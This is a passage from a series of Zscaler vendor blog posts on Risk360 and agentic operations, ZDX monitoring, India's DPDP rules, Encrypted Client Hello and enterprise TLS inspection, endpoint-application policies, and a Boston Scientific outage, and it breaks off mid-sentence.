The Latest in Risk360: Agentic AI and Integration Support

Jacob Serpa (Sr. Product Marketing Manager) — Tue, 15 Sep 2026 12:15:07 GMT

Security and risk teams are under pressure to do more than just identify issues—they need to understand what matters most, explain business impact clearly, and act more quickly across a growing set of tools and stakeholders. That’s the challenge Risk360 is built to solve. By helping organizations quantify cyber risk, prioritize remediation, and communicate posture in business-relevant terms, Risk360 gives customers a clearer view of where they stand and what they should do next.As part of this mission, Zscaler now has two new ways to help customers get even more value from Risk360: a Risk360 agent and support for Risk360 in OneAPI.The Risk360 AgentAs security environments become more complex, admins need more than dashboards and static workflows. They need a faster, more intuitive way to investigate issues, understand what is driving risk, make the best choices possible, and take the next right action. That’s where agentic AI can make a real difference. It can reduce the time it takes to navigate tools, interpret data, and translate technical findings into decisions that the business can act on. Zscaler’s new Risk360 agent brings the above benefits to risk analysis for each customer’s Zscaler environment. It helps admins quickly understand their overall risk posture, identify the most important issues that need to be addressed, and assess the financial exposure tied to those risks. Through natural-language interactions, customers can drill into specific categories and risk factors, investigate what is driving change, and uncover root causes. The result is faster analysis, more confident prioritization, and clearer communication with executives, compliance teams, and other stakeholders.The Risk360 agent is part of Zero Trust Exchange Agentic Operations, which enables agentic AI to manage Zscaler—whether that’s the Zscaler platform’s built-in agent (ZAgent) or, in the near-term future, third-party AI agents. Either way, the service allows agentic AI to leverage specialized product agents so that customers can interact with Zscaler services in a more cohesive, streamlined, and intelligent fashion. In other words, Risk360 can now be managed alongside other Zscaler solutions in a single conversational chat with an AI agent.Risk360 OneAPI SupportCustomers need the data from their security solutions to work beyond the boundaries of each individual tool. As such, application programming interfaces (APIs) are essential. They enable practitioners to integrate insights from their solutions into other tools for broader operational, reporting, and partner workflows—without relying on manual exports or disconnected processes.With Risk360 support now available for OneAPI, customers can leverage the same unified API endpoint that is used across the rest of the Zscaler platform for Risk360. Conceptually, this makes it easier to bring Risk360 into the systems and processes you already have in place. Practically, it supports workflows such as pulling historical risk scores and peer comparisons into internal dashboards, retrieving risk factor and financial exposure data for analysis, and automating report generation and access for downstream use. It creates a cleaner path for integration with GRC tools, SIEM workflows, service providers, and cyber insurance ecosystems that depend on timely risk data.By extending Risk360 through OneAPI, we’re helping customers turn risk insights into action far more efficiently—whether that means building custom workflows, feeding external systems, or scaling automation across teams.Wrap-UpTo learn more about our in-product AI experience and how it connects users to specialized product agents, read our ZAgent blog. To explore how OneAPI helps customers automate and integrate across the Zero Trust Exchange, visit our OneAPI webpage.

What's New in ZDX: Broader Reach, Smarter Remediation

John Jones (Sr.Marketing Manager–Digital Experience Monitoring) — Mon, 14 Sep 2026 14:24:36 GMT

ZDX is the experience layer of the Zscaler SASE platform. It shares the same client connector, the same data plane, and the same global infrastructure that powers ZIA and ZPA. That means every improvement to digital experience monitoring simultaneously strengthens the security and networking fabric customers already rely on.This summer, based on what we're hearing from customers operating large-scale SASE deployments, we shipped two capabilities that make the platform even more valuable for customers. Here's what landed and why it matters. Remediation Scripts: Now Available for ZDX Standard and AdvancedWhen dev tools don't pick up the ZIA root certificate from their expected path, developers hit SSL errors that block their workflow entirely. The common workaround today is to bypass those dev tools from ZIA SSL inspection. That gets developers back to work, but it punches a hole in the zero trust architecture. Traffic that should be inspected flows uninspected. The security posture the SASE platform is designed to enforce gets undermined at the endpoint level.Customers told us this was one of their most persistent friction points: a recurring tension between developer productivity and maintaining zero trust coverage. They needed a way to fix the root cause, not route around it.Pre-written, ready-to-use scripts that resolve the root cert path issue and restore zero trust postureWe've introduced 20 pre-written remediation scripts available to ZDX Standard and Advanced customers and will continue to add more. These scripts fix the ZIA root certificate path configuration in dev tools so they work properly through ZIA SSL interception, eliminating the need to bypass.The result: developers stay productive and traffic stays inspected. Zero trust stays intact.Because remediation runs through Zscaler Client Connector (the same agent already deployed for ZIA and ZPA), there's no additional deployment, no second agent, and no separate tool. IT identifies the issue in ZDX, runs the fix from the console, and the endpoint is back in compliance with the SASE policy.Here's how the remediation capabilities break down by tier:CapabilitySTD / ADVADV+Support custom scripts❌✅Import any type of prewritten script❌✅Import dev tool scripts✅✅Set parameters, confirmation popup & configurations✅✅For decision-makers, this is a signal of where ZDX is headed: not just visibility into experience issues, but the ability to resolve them in a way that reinforces the security architecture rather than working against it. 19 Global Vantage Points for Synthetic Monitoring (Up from 6)Synthetic monitoring tells you whether applications and network paths are healthy before users report problems. But that signal is only representative if probes originate close to where users actually work. As our customer base expanded into more regions with hybrid and remote workforces, we heard a consistent request: monitoring that reflects the geographies where their people sit, not just the geographies where our original probe infrastructure happened to be.When probes originate far from the user population, latency baselines skew, regional ISP issues take longer to surface, and the data becomes less useful for root-cause isolation or SLA reporting.13 new cities across Americas, EMEA, and APACWe've expanded from 6 to 19 data centers for synthetic monitoring, adding 13 locations in major global cities:Americas: New York, Los Angeles, Dallas, Atlanta EMEA: London, Paris APAC: Mumbai, Delhi, Chennai, Singapore, Tokyo, Osaka, SydneyThese locations align with Zscaler's existing global data center footprint, which means synthetic probe data and real-user telemetry flowing through the SASE platform can be correlated in the same infrastructure. Synthetic baselines and live traffic data reinforce each other.Performance baselines that reflect real geography, and SLA confidence to matchWhat this unlocks in practice:Representative performance baselines per region and office, derived from probes that originate locally rather than extrapolated from distant locationsFaster root-cause isolation because hop-by-hop tracing starts closer to where the issue livesMonitoring that matches how global and hybrid workforces actually operateSLA and experience reporting to leadership backed by geographically accurate dataFor practitioners, your synthetic test results now reflect what users in those cities actually experience. For leadership, the reports you present are grounded in local measurement, not inference. What's NextBoth of these capabilities reinforce the same principle: the experience layer of a SASE platform should make the entire architecture more operationally complete. Remediation that restores zero trust posture. Monitoring that matches the global footprint the platform already serves.As ZDX continues to evolve, every capability we ship is designed to strengthen the Zscaler platform, not just the monitoring console. Better detection, broader coverage, and faster resolution reduce operational friction across the entire SASE deployment.Want to see these in action? Schedule a personalized ZDX demo or explore the latest at zscaler.com/zdx

Operate Zscaler Zero Trust Exchange with the Agentic AI tool of Your Choice

Puja Wheeldon (Senior Product Manager) — Mon, 14 Sep 2026 12:40:06 GMT

Introducing Zero Trust Exchange Agentic Operations, which enables customers to use their preferred AI agents to interact with Zscaler through a secure, governed, and auditable operational layer.Enterprise teams are rapidly moving from experimenting with AI to putting it to work. AI assistants are already helping administrators find information, summarize incidents, and answer operational questions about their various solutions. The graphical interface will remain important. APIs, SDKs, and infrastructure-as-code will continue to be essential. The next step is agentic: enabling AI not only to provide an answer, but to help carry a task through to completion.There is a growing demand for these agent-driven use cases. Practitioners of all stripes want agents that can investigate why a user cannot access an application, retrieve relevant configuration details, recommend remediation tactics, and, when authorized, take action. And they want all of this functionality to be available for the specific AI assistants, models, and development frameworks that best fit their organizations.AI agents are emerging as another operational interface—one that allows admins to express desired outcomes in natural language and have agents achieve them.Zscaler is evolving to support this shift. From predefined automation to agent-driven operationsTraditional automation works best when the process is known in advance. A team defines a sequence of API calls, encodes the logic in a script or workflow, and runs it when a specific event occurs.Agents introduce a more flexible model. An admin can describe the intended outcome, and an agent can interpret the request, determine which tools are relevant, identify the steps it should take, and perform the relevant action(s).For example, “Why can’t this user reach our finance application?” is not a single API request. Answering it may require gathering context, checking multiple signals, evaluating configuration, and determining whether the issue is caused by policy, identity, device posture, connectivity, or the application itself. An agent can help coordinate that investigation rather than requiring an administrator to manually navigate every step.As customers explore agentic workflows in a platform, they need a consistent way for agents to interact with the different services within that platform. Giving an agent access to a collection of raw administrative APIs is not enough. The platform needs to expose useful operational capabilities while still controlling how each agent connects, what it can discover, which actions it can perform, and how those actions are recorded.That is the role of Zero Trust Exchange Agentic Operations. Introducing Zero Trust Exchange Agentic OperationsAgentic Operations enables first-party and third-party AI agents to securely perform supported Zscaler operations.Customers can access these capabilities directly through ZAgent, Zscaler’s native agentic experience within the Experience Center. An administrator can describe an objective in natural language, and ZAgent interprets the request, engages the appropriate specialized Zscaler agents and skills, and returns a coordinated response. This gives customers an integrated way to investigate issues, obtain insights, and perform supported administrative tasks without navigating multiple products or manually coordinating each step.Zero Trust Exchange Agentic Operations extends these capabilities beyond the Experience Center through the Agentic Operations Gateway and its hosted Model Context Protocol (MCP) server. MCP is an open standard that gives AI applications a consistent way to discover and use tools provided by external systems. Through the hosted MCP server, commercial AI clients such as Claude and ChatGPT, as well as agents built by customers, can access supported Zscaler capabilities without requiring customers to deploy and maintain their own Zscaler MCP server.Rather than simply exposing individual APIs as tools, the Agentic Operations MCP server is designed around operational intents. An intent represents the outcome a user wants to achieve, such as investigating an access issue, validating a policy, or resolving a connectivity problem. Zscaler coordinates the underlying tools, API calls, validation, and sequencing needed to fulfill that intent.This makes agentic workflows easier and more reliable because the agent does not need to understand every Zscaler product or independently assemble a complex sequence of low-level API calls.Throughout the interaction, the Agentic Operations Gateway provides the routing, identity, authorization, approval controls, and auditing required for enterprise operations. Customers retain the flexibility to choose where their agents and reasoning models run, while Zscaler manages and governs the connection to its services.Meeting customers where they areWe recognize that different teams will adopt different assistants, models, orchestration frameworks, and deployment patterns. Some customers will use commercial AI experiences. Others will build specialized agents for their own service desk, security operations, or administrative workflows. Many will use both.Zscaler’s Agentic Operations is designed for that reality.Use the agent experience that fits the organization. Customers can connect supported Zscaler capabilities to the AI clients their teams already use rather than moving every workflow into another interface.Make Zscaler capabilities understandable to agents. Raw APIs are optimized for developers, not necessarily for models interpreting human intent. Governed tools and Zscaler-authored skills can give agents clearer, task-oriented ways to retrieve information and perform supported operations.Support commercial and customer-built agents. Customers can connect approved commercial AI clients such as Claude and ChatGPT, as well as their own custom agents, through an OAuth 2.1 authorization flow. After signing in, users review and choose which of their assigned administrative roles to grant to the client, and can later revoke that access.The goal is not to prescribe how customers adopt AI. It is to make Zscaler ready to participate securely in the agentic ecosystems they choose.Governance built into the operational pathAs agents take on more operational work, the actions they perform must remain subject to the same enterprise controls that customers expect elsewhere in their environment. The Agentic Operations Gateway is designed to provide those controls as part of the interaction itself:Customer-controlled client authorization: Administrators control which AI clients can connect to their Zscaler tenant, including predefined clients such as ChatGPT and Claude. Zscaler’s authentication service (formerly ZIdentity) uses standards-based client metadata to establish the client’s identity and configuration.User authentication and consent: When an admin connects to an approved AI client, the authentication service authenticates the admin through the customer’s existing sign-in process and presents the administrative roles available to that admin. The admin can choose which roles to authorize for the client, ensuring that access is both user-bound and explicitly granted.Visible and revocable access: Admins can review the applications they have authorized and revoke access when it is no longer needed. Super Administrators can review and revoke authorization grants across the organization.Auditable authorization lifecycle: Client registration, authorization requests, grants, denials, token refreshes, and revocations are recorded in Zscaler audit logs.These controls allow customers to expand the scope of their agentic use cases without creating an unmanaged path that circumvents established operational safeguards.What agentic operations can look likeConsider a user who reports that a business-critical application is not working.Today, a support or security team member may need to move between a ticket, multiple consoles, logs, policy configuration, and documentation to diagnose the issue. Even when the remediation is straightforward, collecting the context and determining the correct action can take time.With Agentic Operations, the customer’s preferred agent could invoke an intent to investigate the access issue. The hosted MCP server could route the request to the appropriate Zscaler capabilities, gather the relevant context, and return a likely cause and recommended remediation. If the proposed action requires approval, the agent could pause for confirmation. Once approved, the supported operation could be executed and the workflow recorded for auditing. The agent provides the experience and coordinates the interaction with the admin. Zscaler provides the trusted operational capabilities and governs how they are used.This model can extend across a growing range of use cases: retrieving configuration and posture information, investigating incidents, validating policy, responding to service desk requests, coordinating change workflows, and carrying out approved remediation.The value is a more intuitive and governed path from intent to operational outcome.Building the next interface to ZscalerThe move toward agent-driven operations will not replace existing consoles or automation tools. It simply expands the ways customers can work with Zscaler.Just as APIs enabled developers to build integrations, agents create a new interaction model for operational work. Customers can begin with simple tasks like using natural language to obtain information about their policies and gradually adopt more advanced workflows as their needs and governance models mature.Zero Trust Exchange Agentic Operations provides the foundation for that evolution: a hosted service, intent-based tools and skills, standards-based connectivity, intelligent routing, strong identity, least-privileged authorization, approval controls, and end-to-end auditability.Here's an example demo of how it works: By providing this foundation, Zscaler can continue supporting new agentic use cases while giving customers a consistent and controlled way to adopt them.Join the Early Access ProgramZero Trust Exchange Agentic Operations is opening for early access, and we are inviting customers and partners to help shape what comes next.Early access participants will be able to explore agent-driven Zscaler operations, validate priority use cases, and provide direct input into the intents, tools, skills, workflows, and governance capabilities we develop.We are particularly interested in hearing from organizations that are already using commercial AI assistants, building their own enterprise agents, or identifying operational workflows that could benefit from a more natural, agent-driven experience.AI agents are becoming a new interface for enterprise operations. Our goal is to make Zscaler capabilities available through that interface while preserving the control, visibility, and trust our customers require.Talk to your Zscaler representative to learn more and request participation in the Zero Trust Exchange Agentic Operations Early Access Program.

Navigating India's DPDP Rules 2025

Rohit Gambhir (Principal Specialist Sales Engineer) — Fri, 11 Sep 2026 13:35:06 GMT

India's Digital Personal Data Protection mandate is no longer on the horizon—it's here, and it demands action. With the official notification of the DPDP Rules 2025 and potential penalties reaching up to ₹250 crore, the mandate for "reasonable security safeguards" has moved from a legal clause to an urgent technical priority for security and privacy teams.The core challenge for CISOs, DPOs, and compliance teams is clear: how do you translate these strict, complex regulatory requirements into a modern, effective security architecture?While the DPDP framework introduces stringent legal obligations, the technical path to compliance can be straightforward with the right strategy and platform. The key is to map the specific operational rules to actionable technology controls.This post provides a mapping of the DPDP Rules 2025's key information security and privacy provisions to the capabilities of the Zscaler Data Security Platform. The goal is to provide a clear, unambiguous guide on how you can leverage Zscaler's powerful platform to address your compliance obligations and secure your organization's data in this new era. The DPDP Rules 2025 and Zscaler: A Comprehensive Compliance MappingThe following table serves as a practical blueprint for security and privacy professionals. It breaks down the most critical provisions from the officially notified DPDP Rules in sequential order, identifies the necessary technology controls, and maps them directly to the specific Zscaler components that help you achieve compliance. The "Justification" column explains precisely how each Zscaler tool addresses the regulatory mandate. Conclusion: From Legal Obligation to Security ConfidenceThe DPDP Rules 2025 present a clear mandate for businesses operating in India: protect personal data by design or face severe consequences. As we've seen, achieving compliance is not merely an exercise in drafting policies; it requires a robust, integrated technical foundation. By leveraging the comprehensive capabilities of the Zscaler Data Security Platform—from Zero Trust Network Access (ZTNA) and Data Security Posture Management (DSPM) for visibility, to inline Data Loss Prevention (DLP) for enforcement, and Workflow Automation for incident management—organizations can build the "reasonable security safeguards" required . Zscaler provides not only the tools to protect data but also the critical visibility, evidence, and auditability required by the Data Protection Board of India.In this era of stringent data privacy, reactive measures are a liability. A proactive, platform-based approach to data security is essential. With Zscaler, you can move from a state of compliance uncertainty to one of security confidence, helping to ensure that your organization is secure by design. Is your business ready for the DPDP mandate?Talk to a Zscaler expert today to explore how the Zscaler Data Security Platform can streamline your compliance journey. This blog post has been created by Zscaler for informational purposes only and is provided "as is" without any guarantees of accuracy, completeness or reliability. Zscaler assumes no responsibility for any errors or omissions or for any actions taken based on the information provided. Any third-party websites or resources linked in this blog post are provided for convenience only, and Zscaler is not responsible for their content or practices. All content is subject to change without notice. By accessing this blog, you agree to these terms and acknowledge your sole responsibility to verify and use the information as appropriate for your needs.

Encrypted Client Hello Is Here to Stay

Yaroslav Rosomakho (Chief Scientist) — Fri, 11 Sep 2026 00:51:47 GMT

Encrypted Client Hello (ECH), standardised by the IETF in RFC 9849, is rapidly becoming a normal part of Internet connectivity.Google’s introduction of platform support for ECH in Android 17 is an important milestone. ECH itself is not new: Chrome enabled it starting with Chrome 117 in September 2023, followed closely by Firefox 119 in October 2023. Chromium-based browsers such as Microsoft Edge subsequently gained support as well. The vast majority of modern desktop browsers are therefore already ECH-capable. Android 17 confirms that ECH is moving beyond a browser-specific feature and becoming part of the mainstream application networking platform.This is good news for Internet privacy.TLS has long protected application data, including the URI being accessed, credentials, HTTP headers and content. But one particularly useful piece of metadata has traditionally remained visible: the Server Name Indication (SNI) extension in the TLS ClientHello, which normally identifies the hostname the client intends to contact.ECH protects the real SNI, along with other sensitive ClientHello information, from passive network observers.For enterprises, however, this deliberately changes an assumption that many security architectures have relied on for years: the SNI visible in a TLS ClientHello can no longer be assumed to identify the service the client is actually accessing.Fortunately, protecting user privacy and maintaining strong enterprise security are not mutually exclusive. From SNI to ECHSNI was created to solve a very practical problem.With HTTP, multiple websites can share the same IP address because the HTTP Host header tells the server which site the client wants. With HTTPS, TLS takes place before the HTTP request, so the server needs to know which certificate to present before it can read that encrypted Host header.Assigning a unique IPv4 address to every HTTPS service was not practical, and universal IPv6 deployment was nowhere close when the problem needed to be solved. SNI provided an elegant solution: put the hostname into the TLS ClientHello, allowing the server to select the correct certificate before establishing the encrypted connection. The inevitable consequence was that the hostname remained visible.Over time, SNI became useful for much more than virtual hosting. Enterprise security products used it for traffic classification and access control. Parental-control services used it for filtering. Security proxies used it to decide whether a connection should be decrypted or bypassed, for example when dealing with certificate-pinned applications. Censorship systems discovered the same signal.The first attempt to address the privacy issue was Encrypted SNI, or ESNI. The IETF work subsequently evolved into ECH, protecting the sensitive ClientHello rather than only one extension.That broader design also incorporated ECH GREASE. An ECH-capable client can send a realistic-looking dummy ECH extension even when it is not actually using ECH. This prevents the mere presence of the ECH extension from becoming a reliable signal for classification or blocking.This matters because both real ECH and GREASE ECH normally still contain a visible SNI. With real ECH, that SNI is normally a cover name while the actual destination is protected. With GREASE, the visible SNI is normally the real destination. An observer cannot simply see the ECH extension and assume it knows what the visible SNI means. How ECH Works, in BriefECH-capable services normally advertise their configuration using HTTPS or SVCB DNS records. This does not require DNS over HTTPS or DNSSEC; those provide different and complementary protections.The ECH configuration includes a public key and a public_name identifying the client-facing service.The client then constructs two TLS ClientHello messages:ClientHelloInner contains the real SNI and the TLS parameters the client actually wants to use.ClientHelloOuter is visible on the network. It normally contains the ECH public_name as its SNI and carries an encrypted representation of ClientHelloInner.If the destination successfully processes ECH, the TLS connection proceeds using the Inner ClientHello. The Outer ClientHello is therefore not an authoritative description of the actual connection.ECH is also deliberately downgrade resistant. If a server cannot process ECH, the client does not simply retry in plaintext. The rejection first has to be authenticated. In particular, the client authenticates the TLS peer against the ECH public_name. Only an authenticated peer can provide updated ECH configuration or securely indicate that ECH is unavailable.This distinction is important for enterprise environments. An arbitrary device on the network cannot simply strip ECH and make the client reveal its real SNI. A legitimate TLS inspection proxy explicitly trusted by a managed endpoint has a different relationship with the client and can participate in this authenticated fallback. What Changes for Enterprise Security?ECH intentionally makes visible SNI less trustworthy. That matters particularly where enterprises use SNI to decide which connections should bypass TLS inspection.Consider a certificate-pinned application. Because the application may reject certificates generated by a TLS inspection proxy, an enterprise might historically create an exception such as:If SNI is updates.pinned-app.example.com, bypass TLS inspection.That rule assumes the SNI proves that the connection actually belongs to the pinned application. It does not.With ECH, the visible SNI may be a cover name rather than the true destination. A malicious client can also deliberately construct an Outer ClientHello containing an SNI chosen to influence network policy. A broad SNI exception intended for one application can therefore become an attractive evasion mechanism for unrelated traffic.There is a second, subtler risk. A malicious client can put deliberately unsuitable TLS parameters into ClientHelloOuter, for example unsupported supported_groups values or a key_share that an inspection proxy cannot use. At the same time, it can place completely valid TLS parameters inside the encrypted ClientHelloInner.An ECH-capable destination that decrypts the Inner ClientHello can establish the connection normally. The enterprise proxy, however, sees only an Outer ClientHello that it cannot successfully inspect.If the security policy responds to that situation by classifying the connection as “undecryptable” and allowing it through without inspection, the attacker has achieved precisely the desired result.The important lesson is not that ECH is a security problem. It is that ECH makes security policies based on unauthenticated network hints increasingly fragile. Handling ECH Safely with Zscaler Internet AccessZscaler Internet Access uses multiple complementary controls to address these scenarios. The objective is not to weaken ECH, but to avoid depending on visible SNI as the sole source of truth.Control ECH discovery through DNSThe most straightforward place to prevent ECH negotiation when TLS inspection is required is before the TLS connection begins.Clients normally obtain ECH configuration through the ech parameter of HTTPS or SVCB DNS records. ZIA DNS Control can inspect DNS over UDP and TCP, as well as DNS over HTTPS when that traffic traverses ZIA and is decrypted.Zscaler recommends blocking HTTPS and SVCB resource-record queries where ECH needs to be suppressed and returning DNS response code 2, SERVFAIL. Ordinary A and AAAA resolution remains available, so the application can continue by establishing a conventional TLS connection without having obtained an ECH configuration.An ECH-capable client may still send ECH GREASE. That is expected and does not mean genuine ECH is being used.The current approach blocks the complete HTTPS/SVCB response and therefore also removes other information the record might contain. A future enhancement will make this more surgical by removing only the ech parameter while preserving other service hints.Use authenticated ECH fallback with trusted TLS inspectionDNS control alone is not sufficient. A client may already have an ECH configuration cached, or it may have obtained one through another mechanism.In that case, ZIA can make use of ECH's own authenticated fallback behaviour.When ZIA terminates the Outer TLS connection, the client does not receive a valid ECH acceptance confirmation and considers ECH rejected. ZIA then presents a certificate for the visible ECH public_name.On a managed endpoint configured to trust the Zscaler inspection CA, that certificate can be authenticated successfully. If no usable replacement ECH configuration is supplied, the client can securely disable ECH, close the first connection and establish a new one without ECH. The real SNI is then visible for TLS inspection.This is fundamentally different from stripping ECH in transit. The client itself chooses to retry without ECH only after an authenticated TLS exchange. An arbitrary network intermediary that is not trusted by the endpoint cannot do the same thing.Bind the SNI to the destination with Optimize DNS ResolutionEven after genuine ECH has been suppressed, blindly trusting SNI can still be dangerous.A malicious client might connect to an attacker-controlled IP address while putting the SNI of a trusted or inspection-exempt application into the ClientHello.Optimize DNS Resolution provides another layer of protection. ZIA can independently resolve the hostname visible in SNI or HTTP and, where appropriate, use its own resolution result rather than the destination IP supplied externally by the client.The client can therefore no longer freely combine a trusted-looking SNI with an attacker-selected destination IP address.Zscaler specifically identifies mitigation of ECH-based domain-fronting evasions as one of the security benefits of this capability. DNS Optimization can also operate when SSL/TLS inspection itself is bypassed, because the visible SNI remains available as an input to resolution.Replace broad SNI bypasses with Endpoint ContextThere is an even stronger answer to the problem of certificate-pinned applications.Instead of assuming that any connection carrying a particular SNI must have originated from the trusted application, Zscaler Endpoint Context can provide information about the process that actually created the connection.Endpoint Context collected through Zscaler Client Connector can include application name and publisher, cryptographic hashes, and code-signing certificate information. That context can be incorporated into SSL/TLS Inspection and other security policies.This allows an inspection exception to become much more precise.Instead of:If SNI is updates.pinned-app.example.com, bypass TLS inspection.a policy can effectively say:If the originating process has a cryptographic signature of expected certificate-pinned application and SNI is updates.pinned-app.example.com, bypass TLS inspection.Traffic using the same SNI but originating from a browser, an unknown process or malware does not automatically inherit the exception.This is a stronger policy model even without ECH. ECH simply makes the limitations of destination-only exceptions much more visible.Do not fail open on an unusable Outer ClientHelloFinally, a client should not be able to escape inspection simply by deliberately constructing an Outer ClientHello that the proxy cannot process.ZIA SSL/TLS Inspection policy provides a Block Undecryptable Traffic option. When enabled, traffic that cannot be processed for inspection is blocked instead of automatically being allowed through.Legitimate applications that cannot tolerate TLS inspection should receive explicit, narrowly scoped exceptions, ideally based on Endpoint Context where possible.The principle is simple: failure to inspect must not itself become a credential for bypassing inspection. ECH Is Here to StayECH fixes a genuine privacy weakness in TLS. Users should not have to disclose every hostname they access to every network that happens to forward their packets.Its growing deployment should be welcomed.At the same time, ECH means enterprises can no longer build security policy around the assumption that a plaintext SNI is authoritative. Fortunately, managed enterprise environments have stronger signals available.DNS visibility can control ECH discovery where inspection is required. Trusted TLS proxies can use ECH's authenticated fallback rather than attempting to circumvent the protocol. Optimize DNS Resolution can bind visible hostnames more closely to their real network destinations. Endpoint Context can make certificate-pinning exceptions application-aware. Fail-closed handling prevents intentionally unusable TLS handshakes from becoming a bypass.SNI was never intended to be a universal application identity mechanism. It became one because it was convenient, visible and usually accurate enough.ECH deliberately changes that.Encrypted Client Hello is here to stay. Enterprise security needs to evolve with it.

How to Enforce Zero Trust Policies Using Endpoint Application Context

Brendon Macaraeg (Sr. Product Marketing Manager) — Thu, 10 Sep 2026 23:57:54 GMT

How to Enforce Zero Trust Policies Using Endpoint Application ContextOne of the core tenets of the Zscaler Zero Trust Architecture is least-privilege access: securely connecting users, workloads, and devices only to the applications they are authorized to use, and not to the broader network.To enforce least privilege, security controls must accurately identify what application a user or device is attempting to reach. For this, Zscaler supports multiple application-identification mechanisms for both web and non-web traffic.In this blog we’ll cover how SOC and IT teams can answer two key questions about any application or process running on an endpoint: “Which endpoint application generates certain traffic, and what is the associated risk context?” Answering these questions requires end-to-end visibility across endpoint activity, sanctioned and unsanctioned applications, and network sessions. How Zscaler Identifies Endpoint Applications Across Web and Non-Web TrafficBecause over 95% of global web traffic is encrypted1, TLS/SSL inspection is essential to completely identify the application and detect threats inside encrypted flows. These types of applications are URL categorizations and Cloud Apps.For non-web traffic, TLS/SSL inspection is typically not applicable. In these cases, Zscaler Zero Trust Firewall (ZTFW)—which secures traffic across all ports and protocols—can identify applications using approaches such as:FQDN / wildcard FQDN (wFQDN) matchingNetwork Services (protocol + port combinations)Network Applications (DPI-based identification)Application Services (groups of destinations + ports/protocols)1 Google Transparency Report Comparing Application Identification Methods: Deep Packet Inspection (DPI), TLS/SSL Decryption, Network Services and MoreEach application identification method has distinct advantages and prerequisites. TLS/SSL decryption provides complete visibility into traffic contents, but primarily applies to encrypted web DPI-based identification works well for non-web traffic whether encrypted or not, though it may require multiple packets to accurately determine the application. Destination-based L3/L4 matching, such as Network Services and Application Services, enable first-packet classification but its effectiveness can be reduced when applications are delivered through CDN networks.Despite these strengths, all of these approaches share a common behavior: they identify traffic at the network/protocol level but do not identify the application on the endpoint that generated the traffic. For example, DPI may classify traffic as SSH, but it cannot indicate which specific client side application initiated the SSH session. Similarly, TLS/SSL decryption can reveal full web or FTP content, but it does not necessarily identify the browser (e.g. Chrome vs. Tor browser), version, or specific application responsible for generating that traffic. Why Endpoint Visibility Is Critical for Stopping Living off the Land (LOTL) AttacksToday’s attackers, whether AI-driven or human, rarely follow a single playbook. Instead, they increasingly rely on Living off the Land (LOTL) techniques—blending traditional malware with legitimate tools like WMI, and RDP. Because this activity often resembles normal operations, it can slip past detection methods based solely on signatures or destinations.As a result, it’s no longer sufficient to ask, “What application traffic is this?” You also need to know, “Which endpoint application generated this traffic, and what is the associated risk context?”Answering these questions requires end-to-end visibility across endpoint activity, sanctioned and unsanctioned applications, and network sessions. How Zscaler Delivers Ground-Truth App Visibility with Endpoint Application InventoryTo address gaps in reliable application identification and to help customers respond to LOTL techniques, Zscaler recently released Endpoint Application Inventory (powered by Zscaler Client Connector). Endpoint Application Inventory provides application-level visibility and risk assessment across endpoints and the cloud, enabling customers to understand:What applications are installedWhere they are installedWho is using themWhether the application has unresolved vulnerabilities and risk signalsUsing Endpoint Applications and Risk Signals as ZIA Security Policy CriteriaWe’re now extending this capability to beyond monitoring and classification, customers can now use Endpoint Applications and related risk signals directly in:Advanced Zero Trust Firewall policiesDNS Control policiesTLS/SSL inspection policiesAdvanced Threat ProtectionIPS Control (future) This enables policies to match not only on network attributes (e.g., like network app, IP, FQDN, port, protocol), but also on the originating endpoint application name, tags and risk level. For example, you can detect when risky or compromised applications initiate traffic and enforce policy based on the application’s risk level. Note: Some functionality may not be available immediately at launch and will be enabled in phases. Availability and feature scope may also vary depending on your license. Key Use Cases for Endpoint Application as Policy Criteria Use caseWhat it enablesAllow or block based on endpoint applicationApply policy actions—such as allow or block—based on the endpoint application that generated the traffic. This is especially valuable in Advanced Firewall policies, since Firewall can evaluate all traffic, both web and non-web, when it reaches ZIA.Canonical application identificationEndpoint applications provide the most authoritative (“ground truth”) application identity when Client Connector is present, reducing reliance on continual DPI-only detection expansion.Precision policy enforcement across Firewall/DNS/IPSCreate policies based on true endpoint application, not just destination or port/protocol.IPS integration with endpoint application dataThreatLabz and customer SecOps teams can create detections that incorporate endpoint application data even when traffic is encrypted or not decrypted.Richer logs for faster investigationsEndpoint application data (such as application name, risk level and type) in Firewall, DNS and Web Insights logs provides earlier, more actionable signals in the kill chain.Better visibility into encrypted communicationsHelps correlate encrypted cloud-bound communications to the originating endpoint application, augmenting endpoint categorization and response. ZIA Policy Examples: Block or Allow Traffic by Endpoint Application and Risk LevelZero Trust Firewall example: To block all traffic originating from Brave browser, you can apply a policy such as: If Endpoint Applications == brave.exe (Brave Browser), then Block. DNS Control example (application-specific allowance):If DNS Protocol == DNS over HTTPS and Endpoint Applications == Chrome, then Allow.This demo video provides more examples of using Endpoint Context application data used as policy criteria in ZIA. Conclusion: Elevate Security Accuracy with Endpoint Application IntelligenceBy including endpoints applications and risk as criteria in ZIA security policies — across Firewall, DNS Control, TLS/SSL Inspection and ATP policies — organizations can improve enforcement accuracy and strengthen early detection and prevention for modern threats, including Living off the Land (LOTL) techniques.Below is a quick summary of the available application identification techniques. Depending on the policy type you can combine multiple conditions within a single policy to increase accuracy for both targeting and control.Application identification methodBenefitsURL and Cloud App Good for identifying where the web traffic is destined to but not what is generating the web traffic (e.g. Chrome vs. Brave browser).Network ServicesGood for identifying ports and protocols being used but can miss applications on non-standard ports (e.g. SSH on port 2200).Application ServicesGood for knowing the L3/4 destinations on the first packet.Network Application (DPI-based identification)Good for identifying the application irrespective of the L3/L4 destination.Endpoint ApplicationsGood for identifying the endpoint application sending the traffic.

The Containment Tax: When OT Outages Aren't OT Attacks

Bryan Ashley (Zero Trust Networking, Principal Architect) — Thu, 10 Sep 2026 20:39:10 GMT

Quick answer: Boston Scientific disclosed on September 8, 2026 that a cyberattack detected on August 25 disrupted manufacturing and order fulfillment for roughly two weeks, enough that the company no longer expects to meet its third-quarter and full-year guidance. The company has said the intrusion was limited to on-premises IT systems. Production stopped anyway, because several systems a plant depends on to run a shift - order release, scheduling, quality, identity - sit in enterprise IT and were taken offline to contain the incident. Many OT security programs secure the controllers but never fully map those dependencies. That gap is the containment tax. What actually stopped at Boston ScientificBoston Scientific detected unauthorized activity on its IT systems on August 25 and responded the way most companies would: it took affected systems offline while it investigated. That decision cut employees off from the applications they use to process and ship orders, and the effect reached the plants the same day. Staff at the company's Cork, Ireland site were sent home on August 25 because the systems their shift depends on were unavailable. Two weeks later, on September 8, the company told investors in a Form 8-K that it no longer expected to meet its third-quarter and full-year 2026 net sales growth and adjusted EPS guidance, with a revised outlook to follow with its third-quarter results on October 28. It added that it does not expect a material impact on its long-term financial condition. On September 9 it reported that manufacturing, order fulfillment and shipping were fully 